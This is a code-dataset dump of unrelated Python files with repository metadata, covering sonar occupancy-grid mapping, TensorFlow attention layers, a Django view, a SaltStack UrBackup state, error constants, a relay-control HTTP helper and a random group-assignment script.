self.oculus_r_skip = None self.oculus_c_skip = None # Accumulative intensity at grid cell self.intensity_grid = None # Counter of observation at grid cell self.counter_grid = None # Occupancy grid map ################################### # Method 1: use logodds update rule ################################### # Intensity grid map self.pub_intensity = False # In order to update one of the keyframes during loop closure, # clamping update policy can't be used. self.pub_occupancy1 = True self.hit_prob = 0.8 self.miss_prob = 0.3 self.logodds_grid = None self.inflation_angle = 0.05 self.inflation_range = 0.5 ################################### # Method 2: use point projection ################################### self.pub_occupancy2 = True self.point_cloud = None self.inflation_radius = 0.5 ################################### # Remove annoying outliers before building occupancy map self.outlier_filter_radius = 5.0 self.outlier_filter_min_points = 20 # Only update keyframe that has significant movement self.min_translation = 0.5 self.min_rotation = 0.05 # Keep track of a bounding box that has been edited # Only map within the box is published self.rmin, self.rmax = None, None self.cmin, self.cmax = None, None # pose, ping self.keyframes = [] self.point_cloud = None self.save_fig = False def configure(self): self.hit_logodds = logit(self.hit_prob) self.miss_logodds = logit(self.miss_prob) xs = np.arange(0, self.width, self.resolution) ys = np.arange(0, self.height, self.resolution) self.rows = len(ys) self.cols = len(xs) if self.pub_occupancy1: self.logodds_grid = np.zeros((ys.shape[0], xs.shape[0]), np.float32) if self.pub_occupancy2: dilate_hs = int(np.ceil(self.inflation_radius / self.resolution)) self.dilate_size = 2 * dilate_hs + 1 if self.pub_intensity: self.intensity_grid = np.zeros((ys.shape[0], xs.shape[0]), np.uint32) self.counter_grid = np.zeros_like(self.intensity_grid, np.uint16) self.rmax = self.cmax = 0 self.rmin = ys.shape[0] - 1 self.cmin = xs.shape[0] - 1 self.inc_r = int(self.inc / self.resolution) self.inc_c = int(self.inc / self.resolution) def pose_changed(self, pose, new_pose): dp = pose.between(new_pose) dt = np.linalg.norm(dp.translation()) dr = abs(dp.theta()) return dt > self.min_translation or dr > self.min_rotation def add_keyframe(self, key, pose, ping, points): changed = self.oculus.configure(ping) keyframe = Submap() keyframe.k = len(self.keyframes) keyframe.pose = pose if changed: # Downsample raw image self.oculus_r_skip = max( 1, np.int32(np.floor(self.resolution / self.oculus.range_resolution)) ) range_resolution = self.oculus.angular_resolution * self.oculus.max_range self.oculus_c_skip = max( 1, np.int32(np.floor(self.resolution / range_resolution)) ) B, R = np.meshgrid( self.oculus.bearings[:: self.oculus_c_skip], self.oculus.ranges[:: self.oculus_r_skip], ) X, Y = np.cos(B) * R, np.sin(B) * R keyframe.sonar_xy = np.c_[X.ravel(), Y.ravel()].astype(np.float32) self.oculus_image_size = X.shape if self.pub_occupancy1: # mask = np.zeros(self.oculus_image_size, np.uint8) mask = np.zeros(self.oculus_image_size, np.float32) if len(points): if self.outlier_filter_min_points > 1: points = pcl.remove_outlier( points[:, :2], self.outlier_filter_radius, self.outlier_filter_min_points, ) c = self.oculus.b2c(np.arctan2(points[:, 1], points[:, 0])) c = np.clip(np.int32(np.round(c)), 0, self.oculus.num_bearings - 1) r = self.oculus.ra2ro(np.linalg.norm(points[:, :2], axis=1)) r = np.clip(np.int32(np.round(r)), 0, self.oculus.num_ranges - 1) mask[r // self.oculus_r_skip, c // self.oculus_c_skip] = 1.0 hc = int( round( self.inflation_angle / self.oculus.angular_resolution / self.oculus_c_skip ) ) hr = int( round( self.inflation_range / self.oculus.range_resolution / self.oculus_r_skip ) ) # kernel = cv2.getStructuringElement( # cv2.MORPH_ELLIPSE, (hc * 2 + 1, hr * 2 + 1), (hc, hr) # ) # mask = cv2.dilate(mask, kernel) kernel_r = cv2.getGaussianKernel(2 * hr + 1, -1) kernel_c = cv2.getGaussianKernel(2 * hc + 1, -1) kernel = kernel_r.dot(kernel_c.T) mask = cv2.filter2D( mask, cv2.CV_32F, kernel, None, None, 0.0, cv2.BORDER_CONSTANT ) mask /= kernel[hr, hc] / self.hit_prob mask = np.clip(mask, 0.5, self.hit_prob) # Only mark points before the first hit as miss first_hits = np.argmax(mask > 0.5, axis=0) # Mark all as miss if there is no hit first_hits[first_hits == 0] = mask.shape[0] for j in range(mask.shape[1]): mask[: first_hits[j], j] = self.miss_prob else: mask += self.miss_prob logodds = logit(mask) keyframe.logodds = logodds.ravel().astype(np.float32) ############################################# # Save some images for plotting ############################################# if self.save_fig: keyframe.cimg = r2n(ping) keyframe.limg = logodds ############################################# if self.pub_occupancy2: self.point_cloud = points if self.pub_intensity: intensity = r2n(ping.ping)[::r_skip, ::c_skip] keyframe.intensity = intensity.ravel() self.fit_grid(keyframe) self.inc_grid(keyframe) # In case we miss one keyframe while len(self.keyframes) < key: self.keyframes.append(None) self.keyframes.append(keyframe) def update_pose(self, key, new_pose): assert key < len(self.keyframes) keyframe = self.keyframes[key] if not keyframe: return pose = keyframe.pose if not self.pose_changed(pose, new_pose): return keyframe.pose = new_pose # Remove old measurements self.dec_grid(keyframe) # Transform new measurements to global frame self.fit_grid(keyframe) # Add new measurements self.inc_grid(keyframe) def get_intensity_grid(self): occ_msg = OccupancyGrid() occ_msg.header.frame_id = "map" # Only publish updated box intensity = self.intensity_grid[ self.rmin : self.rmax + 1, self.cmin : self.cmax + 1 ] counter = self.counter_grid[ self.rmin : self.rmax + 1, self.cmin : self.cmax + 1 ] occ = np.ones_like(intensity, np.int8) * -1 sel = counter > 0 occ[sel] = np.int8(np.round(intensity[sel] / 255.0 * 100.0 / counter[sel])) occ_msg.info.origin.position.x = self.x0 + self.cmin * self.resolution occ_msg.info.origin.position.y = self.y0 + self.rmin * self.resolution occ_msg.info.origin.orientation.x = 0 occ_msg.info.origin.orientation.y = 0 occ_msg.info.origin.orientation.z = 0 occ_msg.info.origin.orientation.w = 1 occ_msg.info.width = self.cmax - self.cmin + 1 occ_msg.info.height = self.rmax - self.rmin + 1 occ_msg.info.resolution = self.resolution occ_msg.data = list(occ.ravel()) return occ_msg def get_occupancy_grid(self, frames=None, resolution=None): if self.pub_occupancy1: return self.get_occupancy_grid1(frames, resolution) elif self.pub_occupancy2: return self.get_occupancy_grid2(frames, resolution) def get_occupancy_grid1(self, frames=None, resolution=None): occ_msg = OccupancyGrid() occ_msg.header.frame_id = "map" if frames is None: logodds_grid = self.logodds_grid rmin, rmax, cmin, cmax = self.rmin, self.rmax, self.cmin, self.cmax else: logodds_grid = np.zeros_like(self.logodds_grid) rmin, rmax, cmin, cmax = self.rmax, self.rmin, self.cmax, self.cmin for k in frames: if k >= len(self.keyframes) or self.keyframes[k] is None: continue keyframe = self.keyframes[k] logodds_grid[keyframe.r, keyframe.c] += keyframe.l rmin = min(rmin, keyframe.r.min()) rmax = max(rmax, keyframe.r.max()) cmin = min(cmin, keyframe.c.min()) cmax = max(cmax, keyframe.c.max()) # Only publish updated box logodds = logodds_grid[rmin : rmax + 1, cmin : cmax + 1] probs = expit(logodds) if ( resolution is not None and resolution > 0 and abs(resolution - self.resolution) > self.resolution * 1e-1 ): assert resolution >= self.resolution ratio = self.resolution / resolution probs = cv2.resize(probs, None, None, ratio, ratio, cv2.INTER_NEAREST) resolution = self.resolution / ratio else: resolution = self.resolution occ = np.int8(np.clip(100 * probs, 0, 100)) occ_msg.info.origin.position.x = self.x0 + cmin * resolution occ_msg.info.origin.position.y = self.y0 + rmin * resolution occ_msg.info.origin.orientation.x = 0 occ_msg.info.origin.orientation.y = 0 occ_msg.info.origin.orientation.z = 0 occ_msg.info.origin.orientation.w = 1 occ_msg.info.width = occ.shape[1] occ_msg.info.height = occ.shape[0] occ_msg.info.resolution = resolution occ_msg.data = list(occ.ravel()) return occ_msg def get_occupancy_grid2(self, frames=None, resolution=None): occ_msg = OccupancyGrid() occ_msg.header.frame_id = "map" # Default unknown size = self.rmax - self.rmin + 1, self.cmax - self.cmin + 1 occ = np.ones(size, np.int8) * -1 points = self.point_cloud[:, :2] if frames is not None: points = [np.zeros((0, 2))] keys = np.uint32(self.point_cloud[:, 3]) for k in frames: frame_points = self.point_cloud[keys == k, :2] points.append(frame_points) points = np.concatenate(points) # Observed as free if frames is None: frames = range(len(self.keyframes)) for k in frames: if k >= len(self.keyframes) or self.keyframes[k] is None: continue keyframe = self.keyframes[k] occ[keyframe.r - self.rmin, keyframe.c - self.cmin] = 0 # Publish known region rmin = np.nonzero(np.max(occ, axis=1) != -1)[0][0] cmin = np.nonzero(np.max(occ, axis=0) != -1)[0][0] rmax = np.nonzero(np.max(occ, axis=1) != -1)[0][-1] cmax = np.nonzero(np.max(occ, axis=0) != -1)[0][-1] occ = occ[rmin : rmax + 1, cmin : cmax + 1] rmin += self.rmin cmin += self.cmin # Remove outliers that have few points within radius if self.outlier_filter_min_points > 1: points = pcl.remove_outlier( points[:, :2], self.outlier_filter_radius, self.outlier_filter_min_points, ) # Projected points to occupied x0 = self.x0 + cmin * self.resolution y0 = self.y0 + rmin * self.resolution r = np.int32(np.round((points[:, 1] - y0) / self.resolution)) c = np.int32(np.round((points[:, 0] - x0) / self.resolution)) sel = (0 <= r) & (r < occ.shape[0]) & (0 <= c) & (c < occ.shape[1]) r, c = r[sel], c[sel] mask = np.zeros_like(occ, np.uint8) mask[r, c] = 255 # Inflate occupied cells kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (self.dilate_size,) * 2) mask = cv2.dilate(mask, kernel) occ[mask > 0] = 100 if ( resolution is not None and resolution > 0 and abs(resolution - self.resolution) > self.resolution * 1e-1 ): assert resolution >= self.resolution ratio = self.resolution / resolution occ = cv2.resize(occ, None, None, ratio, ratio, cv2.INTER_NEAREST) resolution = self.resolution / ratio else: resolution = self.resolution occ_msg.info.origin.position.x = x0 occ_msg.info.origin.position.y = y0 occ_msg.info.origin.orientation.x = 0 occ_msg.info.origin.orientation.y = 0 occ_msg.info.origin.orientation.z = 0 occ_msg.info.origin.orientation.w = 1 occ_msg.info.width = occ.shape[1] occ_msg.info.height = occ.shape[0] occ_msg.info.resolution = resolution occ_msg.data = list(occ.ravel()) return occ_msg def inc_grid(self, keyframe): if self.pub_intensity: self.intensity_grid[keyframe.r, keyframe.c] += keyframe.i self.counter_grid[keyframe.r, keyframe.c] += 1 if self.pub_occupancy1: self.logodds_grid[keyframe.r, keyframe.c] += keyframe.l if len(keyframe.r): self.rmin = min(self.rmin, keyframe.r.min()) self.rmax = max(self.rmax, keyframe.r.max()) if len(keyframe.c): self.cmin = min(self.cmin, keyframe.c.min()) self.cmax = max(self.cmax, keyframe.c.max()) def dec_grid(self, keyframe): if self.pub_intensity: self.intensity_grid[keyframe.r, keyframe.c] -= keyframe.i self.counter_grid[keyframe.r, keyframe.c] -= 1 if self.pub_occupancy1: self.logodds_grid[keyframe.r, keyframe.c] -= keyframe.l # Boundary never decreases def fit_grid(self, keyframe): yaw = keyframe.pose.theta() c, s = np.cos(yaw), np.sin(yaw) R = np.array([[c, -s], [s, c]]) t = np.array([keyframe.pose.x(), keyframe.pose.y()]) # Calculate x, y coordinates for every pixel in sonar frame sonar_xy = keyframe.sonar_xy if sonar_xy is None: k = keyframe.k - 1 while k >= 0: if self.keyframes[k] and self.keyframes[k].sonar_xy is not None: sonar_xy = self.keyframes[k].sonar_xy break k -= 1 assert sonar_xy is not None xy = R.dot(sonar_xy.T).T + t r = np.int32(np.round((xy[:, 1] - self.y0) / self.resolution)) c = np.int32(np.round((xy[:, 0] - self.x0) / self.resolution)) r, c = self.adjust_bounds(r, c) # Remove duplicate indices idx = r * self.cols + c _, sel = np.unique(idx, return_index=True) keyframe.r = np.uint16(r[sel]) keyframe.c = np.uint16(c[sel]) if self.pub_occupancy1: keyframe.l = keyframe.logodds[sel] if self.pub_intensity: keyframe.i = keyframe.intensity[sel] def adjust_bounds(self, r, c): while not np.all(r >= 0): r += self.inc_r self.rmin += self.inc_r self.rmax += self.inc_r self.rows += self.inc_r self.y0 -= self.inc_r * self.resolution self.height += self.inc_r * self.resolution if self.pub_occupancy1: self.logodds_grid = np.r_[ np.zeros((self.inc_r, self.cols), self.logodds_grid.dtype), self.logodds_grid, ] if self.pub_intensity: self.intensity_grid = np.r_[ np.zeros((self.inc_r, self.cols), self.intensity_grid.dtype), self.intensity_grid, ] self.counter_grid = np.r_[ np.zeros((self.inc_r, self.cols), self.counter_grid.dtype), self.counter_grid, ] for keyframe in self.keyframes: keyframe.r += self.inc_r while not np.all(r < self.rows): self.rows += self.inc_r self.height += self.inc_r * self.resolution if self.pub_occupancy1: self.logodds_grid = np.r_[ self.logodds_grid, np.zeros((self.inc_r, self.cols), self.logodds_grid.dtype), ] if self.pub_intensity: self.intensity_grid = np.r_[ self.intensity_grid, np.zeros((self.inc_r, self.cols), self.intensity_grid.dtype), ] self.counter_grid = np.r_[ self.counter_grid, np.zeros((self.inc_r, self.cols), self.counter_grid.dtype), ] while not np.all(c >= 0): c += self.inc_c self.cmin += self.inc_c self.cmax += self.inc_c self.cols += self.inc_c self.x0 -= self.inc_c * self.resolution self.width += self.inc_c * self.resolution if self.pub_occupancy1: self.logodds_grid = np.c_[ np.zeros((self.rows, self.inc_c), self.logodds_grid.dtype), self.logodds_grid, ] if self.pub_intensity: self.intensity_grid = np.r_[ np.zeros((self.rows, self.inc_r), self.intensity_grid.dtype), self.intensity_grid, ] self.counter_grid = np.r_[ np.zeros((self.rows, self.inc_c), self.counter_grid.dtype), self.counter_grid, ] for keyframe in self.keyframes: keyframe.c += self.inc_c while not np.all(c < self.cols): self.cols += self.inc_c self.width += self.inc_c * self.resolution if self.pub_occupancy1: self.logodds_grid = np.c_[ self.logodds_grid, np.zeros((self.rows, self.inc_c), self.logodds_grid.dtype), ] if self.pub_intensity: self.intensity_grid = np.r_[ self.intensity_grid, np.zeros((self.rows, self.inc_r), self.intensity_grid.dtype), ] self.counter_grid = np.r_[ self.counter_grid, np.zeros((self.rows, self.inc_c), self.counter_grid.dtype), ] return r, c
36.593482
86
0.529296
7959242c5ec0821f3fe8bb38eff0f864c241712f
10,077
py
Python
SICK_rl_pub/src/nn_utils/integration_func.py
taoshen58/ReSAN
f65f3fe656907be0ec14ddf18cd7d2608e7ef905
[ "Apache-2.0" ]
30
2018-03-31T12:10:43.000Z
2021-11-18T06:27:58.000Z
SICK_rl_pub/src/nn_utils/integration_func.py
taoshen58/ReSAN
f65f3fe656907be0ec14ddf18cd7d2608e7ef905
[ "Apache-2.0" ]
3
2018-03-31T12:41:25.000Z
2018-04-08T07:59:37.000Z
SICK_rl_pub/src/nn_utils/integration_func.py
taoshen58/ReSAN
f65f3fe656907be0ec14ddf18cd7d2608e7ef905
[ "Apache-2.0" ]
8
2018-04-20T13:00:28.000Z
2020-06-16T17:10:25.000Z
from src.nn_utils.general import get_last_state, exp_mask_for_high_rank, mask_for_high_rank from src.nn_utils.nn import linear, get_logits, pooling_with_mask, softsel, feature_combination, dropout,\ bn_dense_layer from src.nn_utils.rnn_cell import SwitchableDropoutWrapper from src.nn_utils.rnn import dynamic_rnn, bidirectional_dynamic_rnn import tensorflow as tf from src.nn_utils.general import get_last_state, add_reg_without_bias def traditional_attention(rep_tensor, rep_mask, scope=None, keep_prob=1., is_train=None, wd=0., activation='elu', tensor_dict=None, name=None): bs, sl, vec = tf.shape(rep_tensor)[0], tf.shape(rep_tensor)[1], tf.shape(rep_tensor)[2] ivec = rep_tensor.get_shape()[2] with tf.variable_scope(scope or 'traditional_attention'): rep_tensor_map = bn_dense_layer(rep_tensor, ivec, True, 0., 'bn_dense_map', activation, False, wd, keep_prob, is_train) rep_tensor_logits = get_logits([rep_tensor_map], None, False, scope='self_attn_logits', mask=rep_mask, input_keep_prob=keep_prob, is_train=is_train) # bs,sl attn_res = softsel(rep_tensor, rep_tensor_logits, rep_mask) # bs,vec # save attn if tensor_dict is not None and name is not None: tensor_dict[name] = tf.nn.softmax(rep_tensor_logits) return attn_res def multi_dimensional_attention(rep_tensor, rep_mask, scope=None, keep_prob=1., is_train=None, wd=0., activation='elu', tensor_dict=None, name=None): bs, sl, vec = tf.shape(rep_tensor)[0], tf.shape(rep_tensor)[1], tf.shape(rep_tensor)[2] ivec = rep_tensor.get_shape()[2] with tf.variable_scope(scope or 'multi_dimensional_attention'): map1 = bn_dense_layer(rep_tensor, ivec, True, 0., 'bn_dense_map1', activation, False, wd, keep_prob, is_train) map2 = bn_dense_layer(map1, ivec, True, 0., 'bn_dense_map2', 'linear', False, wd, keep_prob, is_train) map2_masked = exp_mask_for_high_rank(map2, rep_mask) soft = tf.nn.softmax(map2_masked, 1) # bs,sl,vec attn_output = tf.reduce_sum(soft * rep_tensor, 1) # bs, vec # save attn if tensor_dict is not None and name is not None: tensor_dict[name] = soft return attn_output def directional_attention_with_dense(rep_tensor, rep_mask, direction=None, scope=None, keep_prob=1., is_train=None, wd=0., activation='elu', extra_mask=None, tensor_dict=None, name=None): def scaled_tanh(x, scale=5.): return scale * tf.nn.tanh(1./scale * x) bs, sl, vec = tf.shape(rep_tensor)[0], tf.shape(rep_tensor)[1], tf.shape(rep_tensor)[2] ivec = rep_tensor.get_shape()[2] with tf.variable_scope(scope or 'directional_attention_%s' % direction or 'diag'): # mask generation sl_indices = tf.range(sl, dtype=tf.int32) sl_col, sl_row = tf.meshgrid(sl_indices, sl_indices) if direction is None: direct_mask = tf.cast(tf.diag(- tf.ones([sl], tf.int32)) + 1, tf.bool) else: if direction == 'forward': direct_mask = tf.greater(sl_row, sl_col) else: direct_mask = tf.greater(sl_col, sl_row) direct_mask_tile = tf.tile(tf.expand_dims(direct_mask, 0), [bs, 1, 1]) # bs,sl,sl rep_mask_tile = tf.tile(tf.expand_dims(rep_mask, 1), [1, sl, 1]) # bs,sl,sl attn_mask = tf.logical_and(direct_mask_tile, rep_mask_tile) # bs,sl,sl if extra_mask is not None: attn_mask = tf.logical_and(attn_mask, extra_mask) # non-linear rep_map = bn_dense_layer(rep_tensor, ivec, True, 0., 'bn_dense_map', activation, False, wd, keep_prob, is_train) rep_map_tile = tf.tile(tf.expand_dims(rep_map, 1), [1, sl, 1, 1]) # bs,sl,sl,vec rep_map_dp = dropout(rep_map, keep_prob, is_train) # attention with tf.variable_scope('attention'): # bs,sl,sl,vec f_bias = tf.get_variable('f_bias',[ivec], tf.float32, tf.constant_initializer(0.)) dependent = linear(rep_map_dp, ivec, False, scope='linear_dependent') # bs,sl,vec dependent_etd = tf.expand_dims(dependent, 1) # bs,1,sl,vec head = linear(rep_map_dp, ivec, False, scope='linear_head') # bs,sl,vec head_etd = tf.expand_dims(head, 2) # bs,sl,1,vec logits = scaled_tanh(dependent_etd + head_etd + f_bias, 5.0) # bs,sl,sl,vec logits_masked = exp_mask_for_high_rank(logits, attn_mask) attn_score = tf.nn.softmax(logits_masked, 2) # bs,sl,sl,vec attn_score = mask_for_high_rank(attn_score, attn_mask) attn_result = tf.reduce_sum(attn_score * rep_map_tile, 2) # bs,sl,vec with tf.variable_scope('output'): o_bias = tf.get_variable('o_bias',[ivec], tf.float32, tf.constant_initializer(0.)) # input gate fusion_gate = tf.nn.sigmoid( linear(rep_map, ivec, True, 0., 'linear_fusion_i', False, wd, keep_prob, is_train) + linear(attn_result, ivec, True, 0., 'linear_fusion_a', False, wd, keep_prob, is_train) + o_bias) output = fusion_gate * rep_map + (1-fusion_gate) * attn_result output = mask_for_high_rank(output, rep_mask) # save attn if tensor_dict is not None and name is not None: tensor_dict[name + '_dependent'] = dependent tensor_dict[name + '_head'] = head tensor_dict[name] = attn_score tensor_dict[name + '_gate'] = fusion_gate return output # -------------- rnn -------------- def contextual_bi_rnn(tensor_rep, mask_rep, hn, cell_type, only_final=False, wd=0., keep_prob=1.,is_train=None, scope=None): """ fusing contextual information using bi-direction rnn :param tensor_rep: [..., sl, vec] :param mask_rep: [..., sl] :param hn: :param cell_type: 'gru', 'lstm', basic_lstm' and 'basic_rnn' :param only_final: True or False :param wd: :param keep_prob: :param is_train: :param scope: :return: """ with tf.variable_scope(scope or 'contextual_bi_rnn'): # correct reuse = None if not tf.get_variable_scope().reuse else True #print(reuse) if cell_type == 'gru': cell_fw = tf.contrib.rnn.GRUCell(hn, reuse=reuse) cell_bw = tf.contrib.rnn.GRUCell(hn, reuse=reuse) elif cell_type == 'lstm': cell_fw = tf.contrib.rnn.LSTMCell(hn, reuse=reuse) cell_bw = tf.contrib.rnn.LSTMCell(hn, reuse=reuse) elif cell_type == 'basic_lstm': cell_fw = tf.contrib.rnn.BasicLSTMCell(hn, reuse=reuse) cell_bw = tf.contrib.rnn.BasicLSTMCell(hn, reuse=reuse) elif cell_type == 'basic_rnn': cell_fw = tf.contrib.rnn.BasicRNNCell(hn, reuse=reuse) cell_bw = tf.contrib.rnn.BasicRNNCell(hn, reuse=reuse) else: raise AttributeError('no cell type \'%s\'' % cell_type) cell_dp_fw = SwitchableDropoutWrapper(cell_fw,is_train,keep_prob) cell_dp_bw = SwitchableDropoutWrapper(cell_bw,is_train,keep_prob) tensor_len = tf.reduce_sum(tf.cast(mask_rep, tf.int32), -1) # [bs] (outputs_fw, output_bw), _ = bidirectional_dynamic_rnn( cell_dp_fw, cell_dp_bw, tensor_rep, tensor_len, dtype=tf.float32) rnn_outputs = tf.concat([outputs_fw,output_bw],-1) # [...,sl,2hn] if wd > 0: add_reg_without_bias() if not only_final: return rnn_outputs # [....,sl, 2hn] else: return get_last_state(rnn_outputs, mask_rep) # [...., 2hn] # -------------- emb mat-------------- def generate_embedding_mat(dict_size, emb_len, init_mat=None, extra_mat=None, extra_trainable=False, scope=None): """ generate embedding matrix for looking up :param dict_size: indices 0 and 1 corresponding to empty and unknown token :param emb_len: :param init_mat: init mat matching for [dict_size, emb_len] :param extra_mat: extra tensor [extra_dict_size, emb_len] :param extra_trainable: :param scope: :return: if extra_mat is None, return[dict_size+extra_dict_size,emb_len], else [dict_size,emb_len] """ with tf.variable_scope(scope or 'gene_emb_mat'): emb_mat_ept_and_unk = tf.constant(value=0, dtype=tf.float32, shape=[2, emb_len]) if init_mat is None: emb_mat_other = tf.get_variable('emb_mat',[dict_size - 2, emb_len], tf.float32) else: emb_mat_other = tf.get_variable("emb_mat",[dict_size - 2, emb_len], tf.float32, initializer=tf.constant_initializer(init_mat[2:], dtype=tf.float32, verify_shape=True)) emb_mat = tf.concat([emb_mat_ept_and_unk, emb_mat_other], 0) if extra_mat is not None: if extra_trainable: extra_mat_var = tf.get_variable("extra_emb_mat",extra_mat.shape, tf.float32, initializer=tf.constant_initializer(extra_mat, dtype=tf.float32, verify_shape=True)) return tf.concat([emb_mat, extra_mat_var], 0) else: #with tf.device('/cpu:0'): extra_mat_con = tf.constant(extra_mat, dtype=tf.float32) return tf.concat([emb_mat, extra_mat_con], 0) else: return emb_mat
48.447115
111
0.601072
7959244ffb63315acaa0239c16cef8fa44a55a5b
1,817
py
Python
eoxserver/views.py
kalxas/eoxserver
8073447d926f3833923bde7b7061e8a1658dee06
[ "OML" ]
25
2015-08-10T19:34:34.000Z
2021-02-05T08:28:01.000Z
eoxserver/views.py
kalxas/eoxserver
8073447d926f3833923bde7b7061e8a1658dee06
[ "OML" ]
153
2015-01-20T08:35:49.000Z
2022-03-16T11:00:56.000Z
eoxserver/views.py
kalxas/eoxserver
8073447d926f3833923bde7b7061e8a1658dee06
[ "OML" ]
10
2015-01-23T15:48:30.000Z
2021-01-21T15:41:18.000Z
#------------------------------------------------------------------------------- # # Project: EOxServer <http://eoxserver.org> # Authors: Stephan Krause <stephan.krause@eox.at> # Stephan Meissl <stephan.meissl@eox.at> # Fabian Schindler <fabian.schindler@eox.at> # #------------------------------------------------------------------------------- # Copyright (C) 2012 EOX IT Services GmbH # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in all # copies of this Software or works derived from this Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. #------------------------------------------------------------------------------- from django.shortcuts import render from django.template import RequestContext from eoxserver import get_version def index(request): return render( request, 'eoxserver_index.html', { "version": get_version(), } )
43.261905
80
0.64557
795924b056540f32452f16bbfe11e2156b8d98a8
1,091
py
Python
_states/urbackup_group.py
alkivi-sas/urbackup-formula
5d9aa7cf8920b444eb5337f965967ee07c209946
[ "Apache-2.0" ]
1
2017-10-27T09:54:05.000Z
2017-10-27T09:54:05.000Z
_states/urbackup_group.py
alkivi-sas/urbackup-formula
5d9aa7cf8920b444eb5337f965967ee07c209946
[ "Apache-2.0" ]
null
null
null
_states/urbackup_group.py
alkivi-sas/urbackup-formula
5d9aa7cf8920b444eb5337f965967ee07c209946
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- ''' Manage Urbackup Settings ''' # Import Python libs from __future__ import absolute_import import logging # Import salt libs import salt.utils from salt.exceptions import * log = logging.getLogger(__name__) def __virtual__(): ''' Only load if urbackup is available ''' return 'urbackup_group' if 'urbackup.add_group' in __salt__ else False def present(name): ''' Ensure the group is present ''' ret = {'name': name, 'result': True, 'comment': '', 'changes': {}} group = __salt__['urbackup.get_group'](name) if not group: if __opts__['test']: ret['comment'] = 'Group {0} will be created.'.format(name) ret['result'] = None return ret ok = __salt__['urbackup.add_group'](name) if ok: ret['comment'] = 'Created group {0}'.format(name) else: ret['result'] = False ret['comment'] = 'Failed to create group {0}.'.format(name) else: ret['comment'] = 'Group {0} already exists'.format(name) return ret
22.729167
74
0.592117
795924fb1f2ec7873fd784a2ba2e30174f06a159
1,581
py
Python
accounts/graphql/constants.py
vedant-5/django-job-portal
3b4e96fdff28b155e9625d3fe16bd9e822bd9c6e
[ "MIT" ]
1
2022-02-13T06:13:47.000Z
2022-02-13T06:13:47.000Z
accounts/graphql/constants.py
vedant-5/django-job-portal
3b4e96fdff28b155e9625d3fe16bd9e822bd9c6e
[ "MIT" ]
null
null
null
accounts/graphql/constants.py
vedant-5/django-job-portal
3b4e96fdff28b155e9625d3fe16bd9e822bd9c6e
[ "MIT" ]
null
null
null
from django.utils.translation import gettext as _ class Messages: INVALID_PASSWORD = [{"message": _("Invalid password."), "code": "invalid_password"}] UNAUTHENTICATED = [{"message": _("Unauthenticated."), "code": "unauthenticated"}] INVALID_TOKEN = [{"message": _("Invalid token."), "code": "invalid_token"}] EXPIRED_TOKEN = [{"message": _("Expired token."), "code": "expired_token"}] ALREADY_VERIFIED = [ {"message": _("Account already verified."), "code": "already_verified"} ] EMAIL_FAIL = [{"message": _("Failed to send email."), "code": "email_fail"}] INVALID_CREDENTIALS = [ { "message": _("Please, enter valid credentials."), "code": "invalid_credentials", } ] NOT_VERIFIED = [ {"message": _("Please verify your account."), "code": "not_verified"} ] NOT_VERIFIED_PASSWORD_RESET = [ { "message": _("Verify your account. A new verification email was sent."), "code": "not_verified", } ] EMAIL_IN_USE = [ {"message": _("A user with that email already exists."), "code": "unique"} ] USERNAME_NOT_FOUND = [ { "message": _("No user with given username found."), "code": "invalid_username", } ] DATABASE_ERROR = [ { "message": _("Internal server error."), "code": "internal_server_error" } ] PERMISSION_DENIED_ERROR = [ { "message": None, "code": "permission_denied" } ]
32.265306
88
0.552815
79592508832478b8c7d63de676b8f1f2fba36b59
603
py
Python
src/device_requests/send_value.py
CabraKill/hihome-dataAnalysis-client
448957c45b0629d9ace54c367a5b57d2fb8885dc
[ "MIT" ]
null
null
null
src/device_requests/send_value.py
CabraKill/hihome-dataAnalysis-client
448957c45b0629d9ace54c367a5b57d2fb8885dc
[ "MIT" ]
null
null
null
src/device_requests/send_value.py
CabraKill/hihome-dataAnalysis-client
448957c45b0629d9ace54c367a5b57d2fb8885dc
[ "MIT" ]
null
null
null
import requests import time def send_value_to_ip(ip: str, value: str): start = time.time() response = requests.get(f'http://{ip}/RELAY={value.upper()}') flightTime = (time.time() - start) * 1000 flightTimeString = str(flightTime) print(f'Flight time request: {flightTimeString}') if response.status_code == 200: print(f'{value} sent to {ip}') else: raise SendValueError( f'Error sending value to {ip}. Error:\n {response.body}') class SendValueError(Exception): message = '' def __init__(self, message): self.message = message
27.409091
69
0.640133
795925de3a996d75be946c2f98fab819a32d8ae6
989
py
Python
groupify.py
jhclark/groupify
868719c6b87637a957f71a26670ceb09a972f49b
[ "Apache-2.0" ]
null
null
null
groupify.py
jhclark/groupify
868719c6b87637a957f71a26670ceb09a972f49b
[ "Apache-2.0" ]
null
null
null
groupify.py
jhclark/groupify
868719c6b87637a957f71a26670ceb09a972f49b
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python from __future__ import print_function from __future__ import division import sys import random WHO_FILE = "who.txt" def usage(): print("Usage: groupify <max_per_group>") print() print("First, place the members of your group who will be attending in who.txt") def load_who(): with open(WHO_FILE) as f: who = f.readlines() who = [ x.strip() for x in who ] return who def groupify(who, num_groups): random.seed() random.shuffle(who) groups = [ [] for _ in range(num_groups) ] for i in range(len(who)): groups[i%num_groups].append(who[i]) return groups def main(*args): if len(args) != 1: usage() sys.exit(1) who = load_who() max_per_group = int(args[0]) num_groups = 1 while len(who) / num_groups > max_per_group: num_groups += 1 groups = groupify(who, num_groups) for i in range(len(groups)): print("Group {}: {}".format(i+1, ", ".join(groups[i]))) if __name__ == "__main__": main(*sys.argv[1:])
22.477273
82
0.656218
795927e3d5a3c97b2bdc6243eb73efa264e035ee
1,046
py
Python
